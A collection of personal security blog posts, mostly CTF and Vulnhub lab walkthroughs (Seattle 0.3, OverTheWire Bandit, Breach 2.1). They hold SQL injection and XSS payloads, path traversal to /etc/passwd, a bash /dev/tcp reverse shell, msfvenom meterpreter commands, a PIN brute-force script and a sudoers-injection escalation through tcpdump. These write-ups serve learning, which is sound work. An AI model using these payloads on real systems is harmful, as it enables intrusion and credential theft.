Hacking the Internet of Things

I’m sitting around the house on a rainy Saturday, hacking on IoT (Internet of Things) devices (that I own) and discovered these command injection vulnerabilities.  🙂

The first command injection vulnerability was blind. I started up Wireshark and filtered on icmp and saw the pings. I removed the PHPSESSID from the cookie and the exploit worked without authentication.


This command injection vulnerability was a little easier to find due to the run_cmd in the response. It was so gratifying to see “root” printed on the screen!


I removed the PHPSESSID from the cookie and resubmitted the request from another computer and got unauthenticated command injection.


I’ve disclosed these vulnerabilities to the manufacturer and will provide an update with full disclosure after they have had time to fix the issues.

Seattle 0.3 Walk Through Part 1

This is my walk through of the Seattle 0.3 Vulnhub challenge by Holly Graceful. I did this challenge as a basic tutorial on the OWASP Top Ten web vulnerabilities that I presented to my infosec meetup group during our October 5th meeting. I performed this penetration test on level 1 and will follow up later with a post on level 2. Level 2 includes input filtering.

I began the pentest by performing nmap scans. The nmap option -sS is for a SYN scan, -A is shorthand for a few other common options and means “Enable OS detection, version detection, script scanning, and traceroute”. The -p- option is shorthand for scan all 65535 TCP ports.

root@kali:~# nmap -sS -A -p-
Starting Nmap 7.01 ( https://nmap.org ) at 2016-10-04 05:32 EDT
Nmap scan report for
Host is up (0.00100s latency).
Not shown: 65534 filtered ports
80/tcp open  http    Apache httpd 2.4.16 ((Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14)
|_http-server-header: Apache/2.4.16 (Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14
|_http-title: Site doesn’t have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:28:50:62 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 – 3.19, Linux 3.2 – 4.0
Network Distance: 1 hop

A search of cvedetails.com for this version of Apache turned up nothing. All listed vulnerabilities for OpenSSL were related to DoS or info.

An nmap UDP scan didn’t detect any open ports.

A nikto scan discovered a few interesting details.

Issue #1: Sensitive file disclosure. The /admin and /downloads directories allow directory indexes. The /info.php and /config.php files are available. The /info.php file prints the output of phpinfo() which exposes the server configuration which may come in handy. The /config.php file doesn’t output anything to the page, however we’ll circle back to that later. 😉

root@kali:~# nikto -h
– Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 80
+ Start Time: 2016-10-04 05:38:54 (GMT-4)
+ Server: Apache/2.4.16 (Fedora) OpenSSL/1.0.2d-fips PHP/5.6.14
+ Retrieved x-powered-by header: PHP/5.6.14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie level created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Uncommon header ‘content-disposition’ found, with contents: filename=”downloads”
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting…
+ OSVDB-3268: /downloads/: Directory indexing found.
+ OSVDB-3092: /downloads/: This might be interesting…
+ Server leaks inodes via ETags, header found with file /manual/, fields: 0x2304 0x51b0c59e09040
+ OSVDB-3092: /manual/: Web server manual found.
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie lang created without the httponly flag
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake’s list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ 8345 requests: 0 error(s) and 25 item(s) reported on remote host
+ End Time: 2016-10-04 05:39:06 (GMT-4) (12 seconds)
+ 1 host(s) tested

The main page


A quick check for a /robots.txt file wasn’t found. The robots.txt file tells search engines which directories it shouldn’t index in the search results. This file is a good place to check for sensitive directories that a webmaster wouldn’t want to be in the search results.

I started up OWASP ZAP and configured Firefox to use the ZAP proxy for further testing.

While mousing over the links at the bottom of the page I find some interesting links. The Catalouge link points to /download.php?item=Brochure.pdf.

Issue #2: LFI (and path traversal) at /download.php?item=../../../../../etc/passwd.


This means we can also grab any other files on the system that the current user has access to. Let’s grab that config.php file I mentioned earlier. Now we have the database credentials and we can also save all of the php source code files to analyze for vulnerabilities.


Issue #3: SQL Injection, time-based blind and error-based – There were numerous SQL injection vulnerabilities in this site so I grouped them together.

Error-based SQL Injection in the cookie SessionId. I added a single quote after the cookie SessionId and found a SQL error in the response.


I visited the Vinyl page at URL /products.php?type=1. I added a single quote and was redirected back to the main index page. I though that was odd so I checked the response in ZAP.


Notice that in the lower pane, the request URL is highlighted. The “%27” at the end of the URL is URL encoding of the single quote. In the upper-right pane the response is selected. In the middle pane I’ve highlighted the SQL error that illustrates that there is a blind SQL injection present. I fed the URL to sqlmap to verify.

root@kali:~# sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4" -u "" --level=5 --risk=3 --dbms=MYSQL


Select any product, then insert a single quote after the prod id to exploit an error-based SQL injection.


root@kali:~# sqlmap --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4" -u "" -p prod --level=5 --risk=3 --dbms=MYSQL


SQL Injection in the login form – I’m able to login with an email of admin@seattlesounds.net, password

"' or 1=1 -- "

Issue #4: Local File Include (LFI) – The footer of each page includes a link to set the currency: GBP, EUR, or USD. The currency is set in the cookie. I selected USD at /products.php?lang=USD. Next I changed the URL to /products.php?lang=/etc/passwd and then clicked on the Vinyl page.


Another way to exploit this to get the contents of php files is to use the php://filter stream wrapper. I change the URL to /products.php?lang=php://filter/convert.base64-encode/resource=config.php, then click on the Vinyl or Clothing page and get the contents of config.php echoed to the page in base64. I copied and pasted the base64 string into a command prompt and piped it to “base64 -d” to decode.


Issue #5: User name and password enumeration – On the My Account page, the page tells you if the email or password is incorrect.

When entering an invalid email address:


When entering an invalid password:


Issue #6: Insecure Direct Object Reference – The URL /blog.php?author=1 gives us the admin email address (admin@seattlesounds.net) which is half of the info we need to login.

Issue #7: Weak administrator password – I sent a login request from ZAP to the fuzzer and found the password was “password”. Of course I could have also used sqlmap with one of the SQL injection vulnerabilities found earlier to dump the password.


Issue #8: Stored XSS – In the blog posts there wasn’t any filtering of user input. In this example I echoed the document cookie. We could have inserted a malicious link to hook the user with BeEF or other malicious payload.


Issue #9: Hard-coded SessionId. The admin account has the same cookie SessionId value after every login. An attacker can intercept the http request using the ZAP or Burp Suite browser proxies or the Tamper Data Firefox add-on to substitute the cookie SessionID to gain admin access.

OverTheWire Bandit

I’m always looking for a new challenge. OverTheWire Bandit ctf tests Linux and Bash scripting skills to solve security challenges. There are 27 levels.

Level 0 to 1

The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.

The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH to log into that level and continue the game.

To get the password you simply had to cat the readme file.

bandit0@melinda:~$ ls
bandit0@melinda:~$ cat readme

Level 1 to 2

The password for the next level is stored in a file called – located in the home directory.
Commands you may need to solve this level: ls, cd, cat, file, du, find

There are different ways of accomplishing the same task in Bash:

bandit1@melinda:~$ cat `find . -name ‘-‘ -print`
bandit1@melinda:~$ find . -name ‘-‘ -exec cat {} +
bandit1@melinda:~$ find . -name ‘-‘ | xargs cat
bandit1@melinda:~$ cat $(find . -name ‘-‘)

Level 2 to 3

The password for the next level is stored in a file called spaces in this filename located in the home directory.
Commands you may need to solve this level: ls, cd, cat, file, du, find

bandit2@melinda:~$ cat spaces\ in\ this\ filename

Level 3 to 4

The password for the next level is stored in a hidden file in the inhere directory.

The ‘-a’ option to the ‘ls’ command shows hidden files. Files are hidden when the name is preceded by a period.

bandit3@melinda:~$ ls -al inhere
total 12
drwxr-xr-x 2 root root 4096 Nov 14 2014 .
drwxr-xr-x 3 root root 4096 Nov 14 2014 ..
-rw-r—– 1 bandit4 bandit3 33 Nov 14 2014 .hidden
bandit3@melinda:~$ cat inhere/.hidden

Level 4 to 5

The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command.

bandit4@melinda:~/inhere$ file ./* | grep text
./-file07: ASCII text
bandit4@melinda:~/inhere$ cat ./-file07

Level 5 to 6

The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties: – human-readable – 1033 bytes in size – not executable.

bandit5@melinda:~$ cd inhere/
bandit5@melinda:~/inhere$ find . -type f -size 1033c ! -executable | xargs file | grep text | cut -d “:” -f 1 | xargs -I % sh -c “echo % ; cat %”

Level 6 to 7

The password for the next level is stored somewhere on the server and has all of the following properties: – owned by user bandit7 – owned by group bandit6 – 33 bytes in size.

bandit6@melinda:~$ find / -user bandit7 -group bandit6 -size 33c 2>/dev/null | xargs -I % sh -c “echo % ; cat %”

Level 7 to 8

The password for the next level is stored in the file data.txt next to the word millionth.

bandit7@melinda:~$ cat data.txt | grep millionth
millionth cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8 to 9

The password for the next level is stored in the file data.txt and is the only line of text that occurs only once.

bandit8@melinda:~$ sort data.txt | uniq –count | grep “1 ”
1 UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9 to 10

The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters.

bandit9@melinda:~$ strings data.txt | grep “^=\+”
========== password
========== ism
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

Level 10 to 11

The password for the next level is stored in the file data.txt, which contains base64 encoded data.

bandit10@melinda:~$ cat data.txt | base64 -d
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 11 to 12

The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions.

bandit11@melinda:~$ cat data.txt | tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
bandit11@melinda:~$ cat data.txt | python -c ‘import sys; print sys.stdin.read().decode(“rot13”)’
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 12 to 13

The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!).

bandit12@melinda:~$ ls
bandit12@melinda:~$ mkdir /tmp/123
bandit12@melinda:~$ cp data.txt /tmp/123
bandit12@melinda:~$ cd /tmp/123
bandit12@melinda:/tmp/123$ ls
bandit12@melinda:/tmp/123$ xxd -r data.txt > file
bandit12@melinda:/tmp/123$ file file
file: gzip compressed data, was “data2.bin”, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/123$ mv file file.gz
bandit12@melinda:/tmp/123$ gzip -d file.gz
bandit12@melinda:/tmp/123$ ls
data.txt file
bandit12@melinda:/tmp/123$ file file
file: bzip2 compressed data, block size = 900k
bandit12@melinda:/tmp/123$ mv file file.bz2
bandit12@melinda:/tmp/123$ bzip2 -d file.bz2
bandit12@melinda:/tmp/123$ ls
data.txt file
bandit12@melinda:/tmp/123$ file file
file: gzip compressed data, was “data4.bin”, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/123$ mv file file.gz
bandit12@melinda:/tmp/123$ ls
data.txt file.gz
bandit12@melinda:/tmp/123$ gzip -d file.gz
bandit12@melinda:/tmp/123$ file file
file: POSIX tar archive (GNU)
bandit12@melinda:/tmp/123$ tar -xvf file
bandit12@melinda:/tmp/123$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/123$ tar -xvf data5.bin
bandit12@melinda:/tmp/123$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@melinda:/tmp/123$ mv data6.bin data6.bz2
bandit12@melinda:/tmp/123$ ls
data.txt data5.bin data6.bz2 file
bandit12@melinda:/tmp/123$ bzip2 -d data6.bz2
bandit12@melinda:/tmp/123$ ls
data.txt data5.bin data6 file
bandit12@melinda:/tmp/123$ ls -l
total 48
-rw-r—– 1 bandit12 bandit12 2546 Sep 21 09:40 data.txt
-rw-r–r– 1 bandit12 bandit12 10240 Nov 14 2014 data5.bin
-rw-r–r– 1 bandit12 bandit12 10240 Nov 14 2014 data6
-rw-rw-r– 1 bandit12 bandit12 20480 Sep 21 09:43 file
bandit12@melinda:/tmp/123$ file file
file: POSIX tar archive (GNU)
bandit12@melinda:/tmp/123$ tar -xvf file
bandit12@melinda:/tmp/123$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/123$ tar -xvf data5.bin
bandit12@melinda:/tmp/123$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@melinda:/tmp/123$ bzip -d data6.bin
-bash: bzip: command not found
bandit12@melinda:/tmp/123$ bzip2 -d data6.bin
bzip2: Can’t guess original name for data6.bin — using data6.bin.out
bandit12@melinda:/tmp/123$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@melinda:/tmp/123$ tar -xvf data6.bin.out
bandit12@melinda:/tmp/123$ file data8.bin
data8.bin: gzip compressed data, was “data9.bin”, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/123$ mv data8.bin data8.gz
bandit12@melinda:/tmp/123$ gzip -d data8.bin
gzip: data8.bin.gz: No such file or directory
bandit12@melinda:/tmp/123$ ls
data.txt data5.bin data6 data6.bin.out data8.gz file
bandit12@melinda:/tmp/123$ gzip -d data8.gz
bandit12@melinda:/tmp/123$ ls
data.txt data5.bin data6 data6.bin.out data8 file
bandit12@melinda:/tmp/123$ ls -l
total 64
-rw-r—– 1 bandit12 bandit12 2546 Sep 21 09:40 data.txt
-rw-r–r– 1 bandit12 bandit12 10240 Nov 14 2014 data5.bin
-rw-r–r– 1 bandit12 bandit12 10240 Nov 14 2014 data6
-rw-r–r– 1 bandit12 bandit12 10240 Nov 14 2014 data6.bin.out
-rw-r–r– 1 bandit12 bandit12 49 Nov 14 2014 data8
-rw-rw-r– 1 bandit12 bandit12 20480 Sep 21 09:43 file
bandit12@melinda:/tmp/123$ file data8
data8: ASCII text
bandit12@melinda:/tmp/123$ cat data8
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Level 13 to 14

The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on

bandit13@melinda:~$ ls
bandit13@melinda:~$ ls -l /etc/bandit_pass/bandit14
-r——– 1 bandit14 bandit14 33 Nov 14 2014 /etc/bandit_pass/bandit14
bandit13@melinda:~$ ssh -i ./sshkey.private bandit14@localhost

bandit14@melinda:~$ cat /etc/bandit_pass/bandit14

Level 14 to 15

The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.

bandit14@melinda:~$ echo 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e | nc localhost 30000

Level 15 to 16

The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.

bandit15@melinda:~$ openssl s_client -quiet -connect
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1

Level 16 to 17

The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.

bandit16@melinda:~$ openssl s_client -quiet -connect localhost:31790
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1

Level 17 to 18

There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new

NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19

Save the cert above to cert.cer.

steve@steve-nuc:~$ chmod 400 cert.cer
steve@steve-nuc:~$ ssh -i cert.cer bandit17@bandit.labs.overthewire.org

bandit17@melinda:~$ diff passwords.old passwords.new
< BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR

> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

Level 18 to 19

The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.

steve@steve-nuc:~$ scp bandit18@bandit.labs.overthewire.org:readme ~
bandit18@bandit.labs.overthewire.org’s password:
readme 100% 33 0.0KB/s 00:00
steve@steve-nuc:~$ cat readme

Level 19 to 20

To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used to setuid binary.

bandit19@melinda:~$ ls -l
total 8
-rwsr-x— 1 bandit20 bandit19 7370 Nov 14 2014 bandit20-do
bandit19@melinda:~$ ./bandit20-do cat /etc/bandit_pass/bandit20

Level 20 to 21

There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

NOTE: To beat this level, you need to login twice: once to run the setuid command, and once to start a network daemon to which the setuid will connect.

NOTE 2: Try connecting to your own network daemon to see if it works as you think

In the first ssh session:
bandit20@melinda:~$ nc -lvp 65535 < /etc/bandit_pass/bandit20
Listening on [] (family 0, port 65535)

In the second ssh session:
bandit20@melinda:~$ ./suconnect 65535

Back in the first ssh session it has sent us the password:
Connection from [] port 65535 [tcp/*] accepted (family 2, sport 42398)

Level 21 to 22

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

bandit21@melinda:~$ ls /etc/cron.d
behemoth4_cleanup leviathan5_cleanup natas25_cleanup~ semtex0-ppc
cron-apt manpage3_resetpw_job natas26_cleanup semtex5
cronjob_bandit22 melinda-stats natas27_cleanup sysstat
cronjob_bandit23 natas-session-toucher php5 vortex0
cronjob_bandit24 natas-stats semtex0-32 vortex20
cronjob_bandit24_root natas25_cleanup semtex0-64
bandit21@melinda:~$ cat /etc/cron.d/cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@melinda:~$ cat /usr/bin/cronjob_bandit22.sh
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@melinda:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Level 22 to 23

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

andit22@melinda:~$ cat /etc/cron.d/cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@melinda:~$ cat /usr/bin/cronjob_bandit23.sh

mytarget=$(echo I am user $myname | md5sum | cut -d ‘ ‘ -f 1)

echo “Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget”

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@melinda:~$ sh /usr/bin/cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3
bandit22@melinda:~$ sh /usr/bin/cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3
bandit22@melinda:~$ echo I am user bandit23 | md5sum | cut -d ‘ ‘ -f 1
bandit22@melinda:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349

Level 23 to 24

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

bandit23@melinda:~$ cat /usr/bin/cronjob_bandit24.sh


cd /var/spool/$myname
echo “Executing and deleting all scripts in /var/spool/$myname:”
for i in * .*;
if [ “$i” != “.” -a “$i” != “..” ];
echo “Handling $i”
timeout -s 9 60 “./$i”
rm -f “./$i”

Find a writable location since my previous attempts to output the password to a file in /tmp were deleted:
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;

Directory /run/lock looks good. Created my script there:
bandit23@melinda:~$ cat /run/lock/bandit24pwd.sh
cat /etc/bandit_pass/bandit24 >> /run/lock/password

bandit23@melinda:~$ chmod +x /run/lock/bandit24pwd.sh
bandit23@melinda:~$ cp /run/lock/bandit24pwd.sh /var/spool/bandit24
bandit23@melinda:~$ ls /var/spool/bandit24
bandit24pwd.sh script.sh
bandit23@melinda:~$ ls /run/lock
bandit24pwd.sh hello password
bandit23@melinda:~$ cat /run/lock/password

Level 24 to 25

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

bandit24@melinda:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 1111
Wrong! Please enter the correct pincode. Try again.

This looks like a good application for Python.


#!/usr/bin/env python
import socket
password = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ "
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Sending: password and pin...\n"
sock.connect(('localhost', 30002))
data = sock.recv(1024)
for x in range(0,10000):
    sock.send(password + str(x).zfill(4) + "\n")
    data = sock.recv(1024)
    if not "Wrong!" in data:
    print data

bandit24@melinda:/var/lock$ python pin.py
Sending: password and pin…

The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Level 25 to 26

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

I ssh to bandit26:
bandit25@melinda:~$ ssh -i bandit26.sshkey bandit26@localhost

I’m immediately logged out. Let’s checkout the shell for bandit26.
bandit25@melinda:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

The shell for bandit26 is /usr/bin/showtext:
bandit25@melinda:~$ cat /usr/bin/showtext
more ~/text.txt
exit 0

In order to get more to pause and not exit, I reduced my terminal window size to 5 lines.

I ssh in again and more is activated. Reading up on more, I find that when paused you can enter the “v” character to enter vi. Once in the vi shell you can read a file with “:r </path/to/file>”.

_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| ‘_ \ / _` | ‘_ \ / _` | | __| / / ‘_ \
:r /etc/bandit_pass/bandit26

I pressed the spacebar eleven times to page with more and see the password:
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_

Level 26 to 27

At this moment, level 27 does not exist yet.


Vulnhub Breach 2.1 walkthrough

Breach has a static IP address of After changing my Kali vm IP address to the same subnet as Breach using the command “ifconfig eth0 address”, I kicked off an nmap scan.


I was expecting to see ports 80 or 443 open. All that’s really left here is ssh on port 65535. I ssh to it and see the following banner:
Since there wasn’t any “source” available as there weren’t any http/https ports open, I tried “inthesource” as the password and access was denied. Next I tried specifying “peter” as login and “inthesource” as password, and it looked like I was logged in then immediately disconnected. On a hunch I ran another nmap scan and found port 80 was now open.
Reading the source of the web page I find the following hint:
Remembering the ssh banner that mentions “stop checking your blog all day” I checked for a URL of /blog and found it.
Before attacking the blog I checked for a robots.txt file in the web root but didn’t find one. Usually I would run dirb or dirbuster to discover hidden content. I’ve been looking forward to trying a new tool, dirsearch. Unfortunately no other web directories were discovered.
I searched exploit-db.com for BlogPHP exploits and found a persistent XSS in the new user registration field at https://www.exploit-db.com/exploits/17640/. I started up BeEF and registered a new user with a username of “<script type=text/javascript src=></script>” and waited a few minutes for it to show up in the BeEF console. BeEF tells us that the victim is using Firefox v15 which is vulnerable to the Metasploit firefox_proto_crmfrequest exploit. We can also steal the admin’s cookie which exposes the admin password md5 hash, which was easily cracked on crackstation.net and is “admin123”.
Unfortunately I was unable to login using those credentials. I also tried to masquerade as the admin user after sending the request to Burp Repeater and changing my cookie to admin’s stolen cookie.
Next I tested the HTTP headers for XSS and SQLi and found a blind SQL injection in the Referer field. Using the original Referer in each request the page would load in under a second. When inserting ‘+(select*from(select(sleep(20)))a)+’ the page would take 20 seconds to load.
Edit: After posting my walk through of the challenge to Vulnhub, I read through the others and also searched for existing CVE’s on BlogPHP and didn’t find any mention of this SQL injection vulnerability, although there are others in the application. I’ve submitted this vulnerability for a CVE and I’m waiting for confirmation.
Sensing that the Referer header may be responsible for unsuccessful use of the admin cookie, I sent the original request to Burp Repeater and changed the referrer URL to use No joy.
I sent the response to sqlmap “sqlmap -r req.txt –level=5 –risk=3” and confirmed SQL injection. Unfortunately I was unable to gain a foothold with it because sqlmap was unable to obtain the root user db password hash, and there weren’t any writable locations for sqlmap to drop a shell.
Let’s enumerate the database and see what secrets it holds.
The password for admin is “32admin”.
Now I’m going back to hooking the user with the XSS and Firefox exploits after getting distracted by the SQL injection vulnerability.
I configured Metasploit for the firefox_proto_crmfrequest exploit and created a new user with a username of “<iframe src=””></iframe>”.
A few minutes later:
Now let’s get a more stable shell. My attempts to get a bash reverse shell with “bash -i >& /dev/tcp/ 0>&1” fail. So let’s find out why we get disconnected immediately after ssh login: “cat /etc/ssh/sshd_config”.
It looks like whatever is in “/usr/bin/startme” is kicking us off. I create a Metasploit meterpreter reverse shell binary with msfvenom and serve it up using python SimpleHTTPServer.
I wait for the Firefox exploit to hook Peter again and I download and execute it to get a meterpreter shell.
Our stable meterpreter shell:
What’s running on
Those look like GPS coordinates. I search Google and find those are the coordinates for Houston, TX. Other users of the system include blumbergh and milton, so I try those usernames with a password of “Houston”. Username/password of milton:Houston gets me in. Another hint for “stapler”. Let’s see if we can find one.
Let’s checkout the source of /usr/local/bin/cd.py.
So “mine” is the answer to the question. Let’s telnet to port 2323 again and enter “mine”.
Now we’re logged in as user milton. Let’s do some more enumeration. The first thing I check is if milton has sudo rights: “sudo -l”. Nope. Nothing interesting in milton’s .bash_history file. I checked for suid files with “find / -perm -4000 -type f 2>/dev/null” and come up emtpy. I check for any new open ports and find port 8888 is now open to the outside.
I attempted to login as admin:32admin, the credentials that I dumped earlier from the SQLi, but they didn’t work. I checked exploit-db.com for an exploit for OSCommerce v3.0 Alpha 5 and find https://www.exploit-db.com/exploits/33913/, a Local File Include vulnerability. I created a php reverse meterpreter to upload with the command “msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=10000 -e php/base64 > phprevshell.php”. I edited it to add “<?php ” to the beginning and ” ?>” to the end. I uploaded it to /tmp using my shell as user milton, “chmod +x phprevshell.php”, and execute it on oscommerce by visiting the URL “”.
The end (root) is in sight! I’ve seen the use of sudo to run tcpdump before and blogged about it here: https://www.stevencampbell.info/2016/04/why-sudo-tcpdump-is-dangerous/. I enter “echo ‘echo “blumbergh ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /tmp/.test && chmod +x /tmp/.test'” and run tcpdump with “sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root”.
The flag:
Thank you mrb3n for Breach 2.1. It was a lot of fun and very challenging.
Thank you g0tmi1k for vulnhub.com. Vulnhub has been an excellent resource for preparing for PWK/OSCP and I continue to learn from the exercises. After earning my OSCP certification I missed the challenge and exhilaration that I felt in the PWK labs, and Vulnhub has helped me to relive that.

Kali Configure BeEF for Metasploit Integration

This works on Kali version 2016.2.

Edit /usr/share/beef-xss/config.yaml line 156 and change false to true. Edit /usr/share/beef-xss/extensions/metasploit/config.yaml and change host and callback_host from to your IP address. Restart BeEF by entering the command “service beef-xss restart”. Start Metsploit and at the msf> prompt enter “load msgrpc ServerHost=<IP address> Pass=abc123”, using your IP address.

Hacking the Learning Process

Working in information security sometimes feels like drinking from the ocean through a fire hose. The more I learn, the more I feel like a newb and realize that I’ve only found the tip of the iceberg. It takes a lot of passion for the subject to keep studying and doing hands-on labs day after day without burning out.

The idea for this post came to me when I recently answered a Reddit post asking about how we learn about security. There’s so much to learn that many people don’t know where to start because it can be overwhelming. In my case I have a hard time staying on track once I start learning something because I keep finding another thread to pull and start unraveling the fabric of a related subject.

